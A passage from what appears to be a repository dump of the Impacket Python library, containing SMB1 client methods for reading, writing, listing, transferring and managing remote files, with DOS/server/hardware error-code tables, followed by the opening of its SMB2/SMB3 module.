readAndX = SMBCommand(SMB.SMB_COM_READ_ANDX)\n            readAndX['Parameters'] = SMBReadAndX_Parameters()\n            readAndX['Parameters']['Fid'] = fid\n            readAndX['Parameters']['Offset'] = offset\n            readAndX['Parameters']['MaxCount'] = max_size\n            smb.addCommand(readAndX)\n        else:\n            smb = smb_packet\n\n        if wait_answer:\n            answer = b''\n            while 1:\n                self.sendSMB(smb)\n                ans = self.recvSMB()\n\n                if ans.isValidAnswer(SMB.SMB_COM_READ_ANDX):\n                    # XXX Here we are only using a few fields from the response\n                    readAndXResponse   = SMBCommand(ans['Data'][0])\n                    readAndXParameters = SMBReadAndXResponse_Parameters(readAndXResponse['Parameters'])\n\n                    offset = readAndXParameters['DataOffset']\n                    count = readAndXParameters['DataCount']+0x10000*readAndXParameters['DataCount_Hi']\n                    answer += ans.getData()[offset:offset+count]\n                    if not ans.isMoreData():\n                        return answer\n                    max_size = min(max_size, readAndXParameters['Remaining'])\n                    readAndX['Parameters']['Offset'] += count                      # XXX Offset is not important (apparently)\n        else:\n            self.sendSMB(smb)\n            ans = self.recvSMB()\n\n            try:\n                if ans.isValidAnswer(SMB.SMB_COM_READ_ANDX):\n                    return ans\n                else:\n                    return None\n            except:\n                return ans\n\n        return None\n\n    def read_raw(self, tid, fid, offset=0, max_size = None, wait_answer=1):\n        if not max_size:\n            max_size = self._dialects_parameters['MaxBufferSize'] # Read in multiple KB blocks\n\n        # max_size is not working, because although it would, the server returns an error (More data avail)\n        smb = NewSMBPacket()\n        smb['Tid']    = tid\n\n        readRaw = SMBCommand(SMB.SMB_COM_READ_RAW)\n        readRaw['Parameters'] = SMBReadRaw_Parameters()\n        readRaw['Parameters']['Fid'] = fid\n        readRaw['Parameters']['Offset'] = offset\n        readRaw['Parameters']['MaxCount'] = max_size\n        smb.addCommand(readRaw)\n\n        self.sendSMB(smb)\n        if wait_answer:\n            data = self._sess.recv_packet(self.__timeout).get_trailer()\n            if not data:\n                # If there is no data it means there was an error\n                data = self.read_andx(tid, fid, offset, max_size)\n            return data\n\n        return None\n\n    def write(self,tid,fid,data, offset = 0, wait_answer=1):\n        smb = NewSMBPacket()\n        smb['Tid']    = tid\n\n        write = SMBCommand(SMB.SMB_COM_WRITE)\n        write['Parameters'] = SMBWrite_Parameters()\n        write['Data'] = SMBWrite_Data()\n        write['Parameters']['Fid'] = fid\n        write['Parameters']['Count'] = len(data)\n        write['Parameters']['Offset'] = offset\n        write['Parameters']['Remaining'] = len(data)\n        write['Data']['Data'] = data\n        smb.addCommand(write)\n\n        self.sendSMB(smb)\n\n        if wait_answer:\n            smb = self.recvSMB()\n            if smb.isValidAnswer(SMB.SMB_COM_WRITE):\n                return smb\n        return None\n\n    def write_andx(self,tid,fid,data, offset = 0, wait_answer=1, write_pipe_mode = False, smb_packet=None):\n        if smb_packet is None:\n            smb = NewSMBPacket()\n            smb['Tid']    = tid\n\n            writeAndX = SMBCommand(SMB.SMB_COM_WRITE_ANDX)\n            smb.addCommand(writeAndX)\n\n            writeAndX['Parameters'] = SMBWriteAndX_Parameters()\n            writeAndX['Parameters']['Fid'] = fid\n            writeAndX['Parameters']['Offset'] = offset\n            writeAndX['Parameters']['WriteMode'] = 8\n            writeAndX['Parameters']['Remaining'] = len(data)\n            writeAndX['Parameters']['DataLength'] = len(data)\n            writeAndX['Parameters']['DataOffset'] = len(smb)    # this length already includes the parameter\n            writeAndX['Data'] = data\n\n            if write_pipe_mode is True:\n                # First of all we gotta know what the MaxBuffSize is\n                maxBuffSize = self._dialects_parameters['MaxBufferSize']\n                if len(data) > maxBuffSize:\n                    chunks_size = maxBuffSize - 60\n                    writeAndX['Parameters']['WriteMode'] = 0x0c\n                    sendData = b'\\xff\\xff' + data\n                    totalLen = len(sendData)\n                    writeAndX['Parameters']['DataLength'] = chunks_size\n                    writeAndX['Parameters']['Remaining'] = totalLen-2\n                    writeAndX['Data'] = sendData[:chunks_size]\n\n                    self.sendSMB(smb)\n                    if wait_answer:\n                        smbResp = self.recvSMB()\n                        smbResp.isValidAnswer(SMB.SMB_COM_WRITE_ANDX)\n\n                    alreadySent = chunks_size\n                    sendData = sendData[chunks_size:]\n\n                    while alreadySent < totalLen:\n                        writeAndX['Parameters']['WriteMode'] = 0x04\n                        writeAndX['Parameters']['DataLength'] = len(sendData[:chunks_size])\n                        writeAndX['Data'] = sendData[:chunks_size]\n                        self.sendSMB(smb)\n                        if wait_answer:\n                            smbResp = self.recvSMB()\n                            smbResp.isValidAnswer(SMB.SMB_COM_WRITE_ANDX)\n                        alreadySent += writeAndX['Parameters']['DataLength']\n                        sendData = sendData[chunks_size:]\n\n                    return smbResp\n\n        else:\n            smb = smb_packet\n\n        self.sendSMB(smb)\n\n        if wait_answer:\n            smb = self.recvSMB()\n            if smb.isValidAnswer(SMB.SMB_COM_WRITE_ANDX):\n                return smb\n        return None\n\n    def write_raw(self,tid,fid,data, offset = 0, wait_answer=1):\n        LOG.warning(\"[MS-CIFS] This command was introduced in the CorePlus dialect, but is often listed as part of the LAN Manager 1.0 dialect.This command has been deprecated.Clients SHOULD use SMB_COM_WRITE_ANDX\")\n        smb = NewSMBPacket()\n        smb['Tid']    = tid\n\n        writeRaw = SMBCommand(SMB.SMB_COM_WRITE_RAW)\n        writeRaw['Parameters'] = SMBWriteRaw_Parameters()\n        writeRaw['Parameters']['Fid'] = fid\n        writeRaw['Parameters']['Offset'] = offset\n        writeRaw['Parameters']['Count'] = len(data)\n        writeRaw['Parameters']['DataLength'] = 0\n        writeRaw['Parameters']['DataOffset'] = 0\n        smb.addCommand(writeRaw)\n\n        self.sendSMB(smb)\n        self._sess.send_packet(data)\n\n        if wait_answer:\n            smb = self.recvSMB()\n            if smb.isValidAnswer(SMB.SMB_COM_WRITE_RAW):\n                return smb\n        return None\n\n    def TransactNamedPipe(self, tid, fid, data = '', noAnswer = 0, waitAnswer = 1, offset = 0):\n        self.send_trans(tid,pack('<HH', 0x26, fid),'\\\\PIPE\\\\\\x00','',data, noAnswer = noAnswer)\n\n        if noAnswer or not waitAnswer:\n            return\n        smb = self.recvSMB()\n        if smb.isValidAnswer(SMB.SMB_COM_TRANSACTION):\n           transResponse = SMBCommand(smb['Data'][0])\n           transParameters = SMBTransactionResponse_Parameters(transResponse['Parameters'])\n           return transResponse['Data'][-transParameters['TotalDataCount']:] # Remove Potential Prefix Padding\n        return None\n\n    def TransactNamedPipeRecv(self):\n        s = self.recvSMB()\n        if s.isValidAnswer(SMB.SMB_COM_TRANSACTION):\n           transResponse = SMBCommand(s['Data'][0])\n           transParameters = SMBTransactionResponse_Parameters(transResponse['Parameters'])\n           return transResponse['Data'][-transParameters['TotalDataCount']:] # Remove Potential Prefix Padding\n        return None\n\n    def nt_create_andx(self, tid, filename, smb_packet = None, cmd = None, shareAccessMode = FILE_SHARE_READ | FILE_SHARE_WRITE, disposition = FILE_OPEN, accessMask = READ_CONTROL | FILE_WRITE_ATTRIBUTES | FILE_READ_ATTRIBUTES | FILE_WRITE_EA | FILE_READ_EA | FILE_APPEND_DATA | FILE_WRITE_DATA):\n        filename = filename.replace('/', '\\\\')\n        filename = filename.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else filename\n\n        if smb_packet is None:\n            smb = NewSMBPacket()\n            smb['Tid']    = tid\n        else:\n            smb = smb_packet\n\n        if cmd is None:\n            ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)\n            ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()\n            ntCreate['Data']       = SMBNtCreateAndX_Data(flags=self.__flags2)\n            ntCreate['Parameters']['FileNameLength'] = len(filename)\n            ntCreate['Parameters']['CreateFlags'] = 0x16\n            ntCreate['Parameters']['AccessMask'] = accessMask\n            ntCreate['Parameters']['CreateOptions'] = 0x40\n            ntCreate['Parameters']['ShareAccess'] = shareAccessMode\n            ntCreate['Parameters']['Disposition'] = disposition\n            ntCreate['Data']['FileName'] = filename\n\n            if self.__flags2 & SMB.FLAGS2_UNICODE:\n                ntCreate['Data']['Pad'] = 0x0\n        else:\n            ntCreate = cmd\n\n        smb.addCommand(ntCreate)\n\n        self.sendSMB(smb)\n\n        while 1:\n            smb = self.recvSMB()\n            if smb.isValidAnswer(SMB.SMB_COM_NT_CREATE_ANDX):\n                # XXX Here we are ignoring the rest of the response\n                ntCreateResponse   = SMBCommand(smb['Data'][0])\n                ntCreateParameters = SMBNtCreateAndXResponse_Parameters(ntCreateResponse['Parameters'])\n\n                self.fid = ntCreateParameters['Fid']\n                return ntCreateParameters['Fid']\n\n    def logoff(self):\n        smb = NewSMBPacket()\n\n        logOff = SMBCommand(SMB.SMB_COM_LOGOFF_ANDX)\n        logOff['Parameters'] = SMBLogOffAndX()\n        smb.addCommand(logOff)\n\n        self.sendSMB(smb)\n        self.recvSMB()\n        # Let's clear some fields so you can login again under the same session\n        self._uid = 0\n\n    def list_path(self, service, path = '*', password = None):\n        path = path.replace('/', '\\\\')\n        path = path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path\n\n        tid = self.tree_connect_andx('\\\\\\\\' + self.__remote_name + '\\\\' + service, password)\n        try:\n            findFirstParameter = SMBFindFirst2_Parameters(self.__flags2)\n            findFirstParameter['SearchAttributes'] = SMB_FILE_ATTRIBUTE_DIRECTORY | SMB_FILE_ATTRIBUTE_HIDDEN | \\\n                                                     SMB_FILE_ATTRIBUTE_SYSTEM | SMB_FILE_ATTRIBUTE_READONLY | \\\n                                                     SMB_FILE_ATTRIBUTE_ARCHIVE\n            findFirstParameter['SearchCount'] = 512\n            findFirstParameter['Flags'] = SMB_FIND_RETURN_RESUME_KEYS | SMB_FIND_CLOSE_AT_EOS\n            findFirstParameter['InformationLevel'] = SMB_FIND_FILE_BOTH_DIRECTORY_INFO\n            findFirstParameter['SearchStorageType'] = 0\n            if self.__flags2 & SMB.FLAGS2_UNICODE:\n                findFirstParameter['FileName'] = path + b'\\x00\\x00'\n            else:\n                findFirstParameter['FileName'] = path + '\\x00'\n            self.send_trans2(tid, SMB.TRANS2_FIND_FIRST2, '\\x00', findFirstParameter, '')\n            files = [ ]\n\n            totalDataCount = 1\n            findData = b''\n            findFirst2ParameterBlock = b''\n            while len(findData) < totalDataCount:\n                resp = self.recvSMB()\n\n                if resp.isValidAnswer(SMB.SMB_COM_TRANSACTION2):\n                    trans2Response = SMBCommand(resp['Data'][0])\n                    trans2Parameters = SMBTransaction2Response_Parameters(trans2Response['Parameters'])\n                    totalDataCount = trans2Parameters['TotalDataCount']\n                    findFirst2ParameterBlock += trans2Response['Data'][trans2Parameters['ParameterOffset']-55:][:trans2Parameters['ParameterCount']]\n                    findData += trans2Response['Data'][trans2Parameters['DataOffset']-55:]\n\n            findParameterBlock = SMBFindFirst2Response_Parameters(findFirst2ParameterBlock)\n            # Save the SID for resume operations\n            sid = findParameterBlock['SID']\n\n            while findParameterBlock['SearchCount'] > 0:\n                record = SMBFindFileBothDirectoryInfo(data = findData)\n\n                shortname = record['ShortName'].decode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else \\\n                                                                        record['ShortName'].decode('cp437')\n                filename = record['FileName'].decode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else \\\n                                                                        record['FileName'].decode('cp437')\n\n                fileRecord = SharedFile(record['CreationTime'], record['LastAccessTime'], record['LastWriteTime'], record['LastChangeTime'],\n                                  record['EndOfFile'], record['AllocationSize'], record['ExtFileAttributes'],\n                                  shortname, filename)\n                files.append(fileRecord)\n                if record['NextEntryOffset'] > 0 and len(findData[record['NextEntryOffset']:]) > 0:\n                    findData = findData[record['NextEntryOffset']:]\n                else:\n                    # More data to search?\n                    if findParameterBlock['EndOfSearch'] == 0:\n                        resume_filename = record['FileName']\n                        findNextParameter = SMBFindNext2_Parameters()\n                        findNextParameter['SID'] = sid\n                        findNextParameter['SearchCount'] = 1024\n                        findNextParameter['InformationLevel'] = SMB_FIND_FILE_BOTH_DIRECTORY_INFO\n                        findNextParameter['ResumeKey'] = record[\"FileIndex\"]\n                        findNextParameter['Flags'] = SMB_FIND_RETURN_RESUME_KEYS | SMB_FIND_CLOSE_AT_EOS\n                        if self.__flags2 & SMB.FLAGS2_UNICODE:\n                            findNextParameter['FileName'] = resume_filename + b'\\x00\\x00'\n                        else:\n                            findNextParameter['FileName'] = resume_filename + b'\\x00'\n                        self.send_trans2(tid, SMB.TRANS2_FIND_NEXT2, '\\x00', findNextParameter, '')\n                        findData = b''\n                        findNext2ParameterBlock = b''\n                        totalDataCount = 1\n                        while len(findData) < totalDataCount:\n                            resp = self.recvSMB()\n\n                            if resp.isValidAnswer(SMB.SMB_COM_TRANSACTION2):\n                                trans2Response = SMBCommand(resp['Data'][0])\n                                trans2Parameters = SMBTransaction2Response_Parameters(trans2Response['Parameters'])\n                                totalDataCount = trans2Parameters['TotalDataCount']\n                                findNext2ParameterBlock += trans2Response['Data'][trans2Parameters['ParameterOffset']-55:][:trans2Parameters['ParameterCount']]\n                                findData += trans2Response['Data'][trans2Parameters['DataOffset']-55:]\n                                findParameterBlock = SMBFindNext2Response_Parameters(findNext2ParameterBlock)\n                    else:\n                       break\n        finally:\n            self.disconnect_tree(tid)\n\n        return files\n\n    def retr_file(self, service, filename, callback, mode = FILE_OPEN, offset = 0, password = None, shareAccessMode = FILE_SHARE_READ):\n        filename = filename.replace('/', '\\\\')\n\n        fid = -1\n        tid = self.tree_connect_andx('\\\\\\\\' + self.__remote_name + '\\\\' + service, password)\n        try:\n            fid = self.nt_create_andx(tid, filename, shareAccessMode = shareAccessMode, accessMask = READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_READ_EA | FILE_READ_DATA)\n\n            res = self.query_file_info(tid, fid)\n            datasize = SMBQueryFileStandardInfo(res)['EndOfFile']\n\n            self.__nonraw_retr_file(tid, fid, offset, datasize, callback)\n        finally:\n            if fid >= 0:\n                self.close(tid, fid)\n            self.disconnect_tree(tid)\n\n    def stor_file(self, service, filename, callback, mode = FILE_OVERWRITE_IF, offset = 0, password = None, shareAccessMode = FILE_SHARE_READ):\n        filename = filename.replace('/', '\\\\')\n\n        fid = -1\n        tid = self.tree_connect_andx('\\\\\\\\' + self.__remote_name + '\\\\' + service, password)\n        try:\n            fid = self.nt_create_andx(tid, filename, shareAccessMode = shareAccessMode, disposition = mode )\n\n            self.__nonraw_stor_file(tid, fid, offset, 0, callback)\n        finally:\n            if fid >= 0:\n                self.close(tid, fid)\n            self.disconnect_tree(tid)\n\n    def stor_file_nonraw(self, service, filename, callback, mode = FILE_OVERWRITE_IF, offset = 0, password = None, shareAccessMode = FILE_SHARE_READ):\n        filename = filename.replace('/', '\\\\')\n\n        fid = -1\n        tid = self.tree_connect_andx('\\\\\\\\' + self.__remote_name + '\\\\' + service, password)\n        try:\n            fid = self.nt_create_andx(tid, filename, shareAccessMode = shareAccessMode, disposition = mode)\n            self.__nonraw_stor_file(tid, fid, offset, 0, callback)\n        finally:\n            if fid >= 0:\n                self.close(tid, fid)\n            self.disconnect_tree(tid)\n\n    def check_dir(self, service, path, password = None):\n        path = path.replace('/', '\\\\')\n        tid = self.tree_connect_andx('\\\\\\\\' + self.__remote_name + '\\\\' + service, password)\n        try:\n            smb = NewSMBPacket()\n            smb['Tid'] = tid\n            smb['Mid'] = 0\n\n            cmd = SMBCommand(SMB.SMB_COM_CHECK_DIRECTORY)\n            cmd['Parameters'] = ''\n            cmd['Data'] = SMBCheckDirectory_Data(flags = self.__flags2)\n            cmd['Data']['DirectoryName'] = path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path\n            smb.addCommand(cmd)\n\n            self.sendSMB(smb)\n\n            while 1:\n                s = self.recvSMB()\n                if s.isValidAnswer(SMB.SMB_COM_CHECK_DIRECTORY):\n                    return\n        finally:\n            self.disconnect_tree(tid)\n\n    def remove(self, service, path, password = None):\n        path = path.replace('/', '\\\\')\n        # Perform a list to ensure the path exists\n        self.list_path(service, path, password)\n\n        tid = self.tree_connect_andx('\\\\\\\\' + self.__remote_name + '\\\\' + service, password)\n        try:\n            smb = NewSMBPacket()\n            smb['Tid'] = tid\n            smb['Mid'] = 0\n\n            cmd = SMBCommand(SMB.SMB_COM_DELETE)\n            cmd['Parameters'] = SMBDelete_Parameters()\n            cmd['Parameters']['SearchAttributes'] = ATTR_HIDDEN | ATTR_SYSTEM | ATTR_ARCHIVE\n            cmd['Data'] = SMBDelete_Data(flags = self.__flags2)\n            cmd['Data']['FileName'] = (path + '\\x00').encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else (path + '\\x00')\n            smb.addCommand(cmd)\n\n            self.sendSMB(smb)\n\n            while 1:\n                s = self.recvSMB()\n                if s.isValidAnswer(SMB.SMB_COM_DELETE):\n                    return\n        finally:\n            self.disconnect_tree(tid)\n\n    def rmdir(self, service, path, password = None):\n        path = path.replace('/', '\\\\')\n        # Check that the directory exists\n        self.check_dir(service, path, password)\n\n        tid = self.tree_connect_andx('\\\\\\\\' + self.__remote_name + '\\\\' + service, password)\n        try:\n            path = path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path\n\n            smb = NewSMBPacket()\n            smb['Tid'] = tid\n            createDir = SMBCommand(SMB.SMB_COM_DELETE_DIRECTORY)\n            createDir['Data'] = SMBDeleteDirectory_Data(flags=self.__flags2)\n            createDir['Data']['DirectoryName'] = path\n            smb.addCommand(createDir)\n\n            self.sendSMB(smb)\n\n            while 1:\n                s = self.recvSMB()\n                if s.isValidAnswer(SMB.SMB_COM_DELETE_DIRECTORY):\n                    return\n        finally:\n            self.disconnect_tree(tid)\n\n    def mkdir(self, service, path, password = None):\n        path = path.replace('/', '\\\\')\n        tid = self.tree_connect_andx('\\\\\\\\' + self.__remote_name + '\\\\' + service, password)\n        try:\n            path = path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else path\n\n            smb = NewSMBPacket()\n            smb['Tid'] = tid\n            smb['Mid'] = 0\n\n            createDir = SMBCommand(SMB.SMB_COM_CREATE_DIRECTORY)\n            createDir['Data'] = SMBCreateDirectory_Data(flags=self.__flags2)\n            createDir['Data']['DirectoryName'] = path\n            smb.addCommand(createDir)\n\n            self.sendSMB(smb)\n\n            smb = self.recvSMB()\n            if smb.isValidAnswer(SMB.SMB_COM_CREATE_DIRECTORY):\n                return 1\n            return 0\n        finally:\n            self.disconnect_tree(tid)\n\n    def rename(self, service, old_path, new_path, password = None):\n        old_path = old_path.replace('/', '\\\\')\n        new_path = new_path.replace('/', '\\\\')\n        tid = self.tree_connect_andx('\\\\\\\\' + self.__remote_name + '\\\\' + service, password)\n        try:\n            smb = NewSMBPacket()\n            smb['Tid'] = tid\n            smb['Mid'] = 0\n\n            renameCmd = SMBCommand(SMB.SMB_COM_RENAME)\n            renameCmd['Parameters'] = SMBRename_Parameters()\n            renameCmd['Parameters']['SearchAttributes'] = ATTR_SYSTEM | ATTR_HIDDEN | ATTR_DIRECTORY\n            renameCmd['Data'] = SMBRename_Data(flags = self.__flags2)\n            renameCmd['Data']['OldFileName'] = old_path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else old_path\n            renameCmd['Data']['NewFileName'] = new_path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else new_path\n            smb.addCommand(renameCmd)\n\n            self.sendSMB(smb)\n\n            smb = self.recvSMB()\n            if smb.isValidAnswer(SMB.SMB_COM_RENAME):\n               return 1\n            return 0\n        finally:\n            self.disconnect_tree(tid)\n\n    def writeFile(self, treeId, fileId, data, offset = 0):\n        if (self._dialects_parameters['Capabilities'] & SMB.CAP_LARGE_WRITEX) and self._SignatureEnabled is False:\n            max_buf_size = 65000\n        else:\n            max_buf_size = self._dialects_parameters['MaxBufferSize'] & ~0x3ff  # Write in multiple KB blocks\n\n        write_offset = offset\n        while 1:\n            if len(data) == 0:\n                break\n            writeData = data[:max_buf_size]\n            data = data[max_buf_size:]\n\n            smb = self.write_andx(treeId,fileId,writeData, write_offset)\n            writeResponse   = SMBCommand(smb['Data'][0])\n            writeResponseParameters = SMBWriteAndXResponse_Parameters(writeResponse['Parameters'])\n            write_offset += writeResponseParameters['Count']\n        \n        return write_offset\n\n    def get_socket(self):\n        return self._sess.get_socket()\n\n    def send_nt_trans(self, tid, subcommand, max_param_count, setup='', param='', data=''):\n        \"\"\"\n        [MS-CIFS]: 2.2.4.62.1 SMB_COM_NT_TRANSACT request.\n        :param tid:\n        :param subcommand: The transaction subcommand code\n        :param max_param_count:  This field MUST be set as specified in the subsections of Transaction subcommands.\n        :param setup: Transaction context to the server, depends on transaction subcommand.\n        :param param: Subcommand parameter bytes if any, depends on transaction subcommand.\n        :param data: Subcommand data bytes if any, depends on transaction subcommand.\n        :return: Buffer relative to requested subcommand.\n        \"\"\"\n        smb_packet = NewSMBPacket()\n        smb_packet['Tid'] = tid\n        #    setup depends on NT_TRANSACT subcommands so it may be 0.\n        setup_bytes = pack('<H', setup) if setup != '' else ''\n\n        transCommand = SMBCommand(SMB.SMB_COM_NT_TRANSACT)\n        transCommand['Parameters'] = SMBNTTransaction_Parameters()\n        transCommand['Parameters']['MaxDataCount'] = self._dialects_parameters['MaxBufferSize']\n        transCommand['Parameters']['Setup'] = setup_bytes\n        transCommand['Parameters']['Function'] = subcommand\n        transCommand['Parameters']['TotalParameterCount'] = len(param)\n        transCommand['Parameters']['TotalDataCount'] = len(data)\n        transCommand['Parameters']['MaxParameterCount'] = max_param_count\n        transCommand['Parameters']['MaxSetupCount'] = 0\n\n        transCommand['Data'] = SMBNTTransaction_Data()\n\n        # SMB header size + SMB_COM_NT_TRANSACT parameters size + length of setup bytes.\n        offset = 32 + 3 + 38 + len(setup_bytes)\n        transCommand['Data']['Pad1'] = ''\n        if offset % 4 != 0:\n            transCommand['Data']['Pad1'] = '\\0' * (4 - offset % 4)\n            offset += (4 - offset % 4)  # pad1 length\n\n        if len(param) > 0:\n            transCommand['Parameters']['ParameterOffset'] = offset\n        else:\n            transCommand['Parameters']['ParameterOffset'] = 0\n\n        offset += len(param)\n        transCommand['Data']['Pad2'] = ''\n        if offset % 4 != 0:\n            transCommand['Data']['Pad2'] = '\\0' * (4 - offset % 4)\n            offset += (4 - offset % 4)\n\n        if len(data) > 0:\n            transCommand['Parameters']['DataOffset'] = offset\n        else:\n            transCommand['Parameters']['DataOffset'] = 0\n\n        transCommand['Parameters']['DataCount'] = len(data)\n        transCommand['Parameters']['ParameterCount'] = len(param)\n        transCommand['Data']['NT_Trans_Parameters'] = param\n        transCommand['Data']['NT_Trans_Data'] = data\n        smb_packet.addCommand(transCommand)\n\n        self.sendSMB(smb_packet)\n\n    def query_sec_info(self, tid, fid, additional_information=7):\n        \"\"\"\n        [MS-CIFS]: 2.2.7.6.1\n        NT_TRANSACT_QUERY_SECURITY_DESC 0x0006\n        :param tid: valid tree id.\n        :param fid: valid file handle.\n        :param additional_information: SecurityInfoFields. default = owner + group + dacl ie. 7\n        :return: security descriptor buffer\n        \"\"\"\n        self.send_nt_trans(tid, subcommand=0x0006, max_param_count=4,\n                           param=pack('<HHL', fid, 0x0000, additional_information))\n        resp = self.recvSMB()\n        if resp.isValidAnswer(SMB.SMB_COM_NT_TRANSACT):\n            nt_trans_response = SMBCommand(resp['Data'][0])\n            nt_trans_parameters = SMBNTTransactionResponse_Parameters(nt_trans_response['Parameters'])\n            # Remove Potential Prefix Padding\n            return nt_trans_response['Data'][-nt_trans_parameters['TotalDataCount']:]\n\n    def echo(self, text = '', count = 1):\n\n        smb = NewSMBPacket()\n        comEcho = SMBCommand(SMB.SMB_COM_ECHO)\n        comEcho['Parameters'] = SMBEcho_Parameters()\n        comEcho['Data']       = SMBEcho_Data()\n        comEcho['Parameters']['EchoCount'] = count\n        comEcho['Data']['Data'] = text\n        smb.addCommand(comEcho)\n\n        self.sendSMB(smb)\n\n        for i in range(count):\n            resp = self.recvSMB()\n            resp.isValidAnswer(SMB.SMB_COM_ECHO)\n        return True\n\nERRDOS = { 1: 'Invalid function',\n           2: 'File not found',\n           3: 'Invalid directory',\n           4: 'Too many open files',\n           5: 'Access denied',\n           6: 'Invalid file handle. Please file a bug report.',\n           7: 'Memory control blocks destroyed',\n           8: 'Out of memory',\n           9: 'Invalid memory block address',\n           10: 'Invalid environment',\n           11: 'Invalid format',\n           12: 'Invalid open mode',\n           13: 'Invalid data',\n           15: 'Invalid drive',\n           16: 'Attempt to remove server\\'s current directory',\n           17: 'Not the same device',\n           18: 'No files found',\n           32: 'Sharing mode conflicts detected',\n           33: 'Lock request conflicts detected',\n           80: 'File already exists'\n           }\n\nERRSRV = { 1: 'Non-specific error',\n           2: 'Bad password',\n           4: 'Access denied',\n           5: 'Invalid tid. Please file a bug report.',\n           6: 'Invalid network name',\n           7: 'Invalid device',\n           49: 'Print queue full',\n           50: 'Print queue full',\n           51: 'EOF on print queue dump',\n           52: 'Invalid print file handle',\n           64: 'Command not recognized. Please file a bug report.',\n           65: 'Internal server error',\n           67: 'Invalid path',\n           69: 'Invalid access permissions',\n           71: 'Invalid attribute mode',\n           81: 'Server is paused',\n           82: 'Not receiving messages',\n           83: 'No room to buffer messages',\n           87: 'Too many remote user names',\n           88: 'Operation timeout',\n           89: 'Out of resources',\n           91: 'Invalid user handle. Please file a bug report.',\n           250: 'Temporarily unable to support raw mode for transfer',\n           251: 'Temporarily unable to support raw mode for transfer',\n           252: 'Continue in MPX mode',\n           65535: 'Unsupported function'\n           }\n\nERRHRD = { 19: 'Media is write-protected',\n           20: 'Unknown unit',\n           21: 'Drive not ready',\n           22: 'Unknown command',\n           23: 'CRC error',\n           24: 'Bad request',\n           25: 'Seek error',\n           26: 'Unknown media type',\n           27: 'Sector not found',\n           28: 'Printer out of paper',\n           29: 'Write fault',\n           30: 'Read fault',\n           31: 'General failure',\n           32: 'Open conflicts with an existing open',\n           33: 'Invalid lock request',\n           34: 'Wrong disk in drive',\n           35: 'FCBs not available',\n           36: 'Sharing buffer exceeded'\n           }\n"
  },
  {
    "path": "impacket/smb3.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-SMB2] Protocol Implementation (SMB2 and SMB3)\n#   As you might see in the code, it's implemented strictly following\n#   the structures defined in the protocol specification. This may\n#   not be the most efficient way (e.g. self._Connection is the\n#   same to self._Session in the context of this library ) but\n#   it certainly helps following the document way easier.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# ToDo:\n#   [X] Implement SMB2_CHANGE_NOTIFY\n#   [X] Implement SMB2_QUERY_INFO\n#   [X] Implement SMB2_SET_INFO\n#   [ ] Implement SMB2_OPLOCK_BREAK\n#   [X] Implement SMB3 signing\n#   [X] Implement SMB3 encryption\n#   [ ] Add more backward compatible commands from the smb.py code\n#   [ ] Fix up all the 'ToDo' comments inside the code\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport socket\nimport ntpath\nimport random\nimport string\nimport struct\nfrom six import indexbytes, b\nfrom binascii import a2b_hex\nfrom contextlib import contextmanager\nfrom pyasn1.type.univ import noValue\nfrom Cryptodome.Cipher import AES\n\nfrom impacket import nmb, ntlm, uuid, crypto\nfrom impacket.smb3structs import *\nfrom impacket.nt_errors import STATUS_SUCCESS, STATUS_MORE_PROCESSING_REQUIRED, STATUS_INVALID_PARAMETER, \\\n    STATUS_NO_MORE_FILES, STATUS_PENDING, STATUS_NOT_IMPLEMENTED, ERROR_MESSAGES\nfrom impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_OID, asn1encode, ASN1_AID\nfrom impacket.krb5.gssapi import KRB5_AP_REQ\n\n\n# For signing\nimport hashlib, hmac, copy\n\n# Our random number generator\ntry:\n    rand = random.SystemRandom()\nexcept NotImplementedError:\n    rand = random\n    pass\n\n# Structs to be used\nTREE_CONNECT = {\n    'ShareName'       : '',\n    'TreeConnectId'   : 0,\n    'Session'         : 0,\n    'IsDfsShare'      : False,\n    # If the client implements the SMB 3.0 dialect,\n    # the client MUST also implement the following\n    'IsCAShare'       : False,\n    'EncryptData'     : False,\n    'IsScaleoutShare' : False,\n    # Outside the protocol\n    'NumberOfUses'    : 0,\n}\n\nFILE = {\n    'OpenTable'       : [],\n    'LeaseKey'        : '',\n    'LeaseState'      : 0,\n    'LeaseEpoch'      : 0,\n}\n\nOPEN = {\n    'FileID'             : '',\n    'TreeConnect'        : 0,\n    'Connection'         : 0, # Not Used\n    'Oplocklevel'        : 0,\n    'Durable'            : False,\n    'FileName'           : '',\n    'ResilientHandle'    : False,\n    'LastDisconnectTime' : 0,\n    'ResilientTimeout'   : 0,\n    'OperationBuckets'   : [],\n    # If the client implements the SMB 3.0 dialect,\n    # the client MUST implement the following\n    'CreateGuid'         : '',\n    'IsPersistent'       : False,\n    'DesiredAccess'      : '',\n    'ShareMode'          : 0,\n    'CreateOption'       : '',\n    'FileAttributes'     : '',\n    'CreateDisposition'  : '',\n}\n\nREQUEST = {\n    'CancelID'     : '',\n    'Message'      : '',\n    'Timestamp'    : 0,\n}\n\nCHANNEL = {\n    'SigningKey' : '',\n    'Connection' : 0,\n}\n\n# Source:\n# https://en.wikipedia.org/wiki/List_of_Microsoft_Windows_versions\n# https://www.gaijin.at/en/infos/windows-version-numbers\nWIN_VERSIONS = {\n    102:\"Windows 3.1\",\n    103:\"Windows 3.1\",\n    153:\"Windows 3.2\",\n    300:\"Windows 3.11\",\n    528:\"Windows NT 3.1 SP3\",\n    807:\"Windows NT 3.5\",\n    950:\"Windows 95\",\n    1057:\"Windows NT 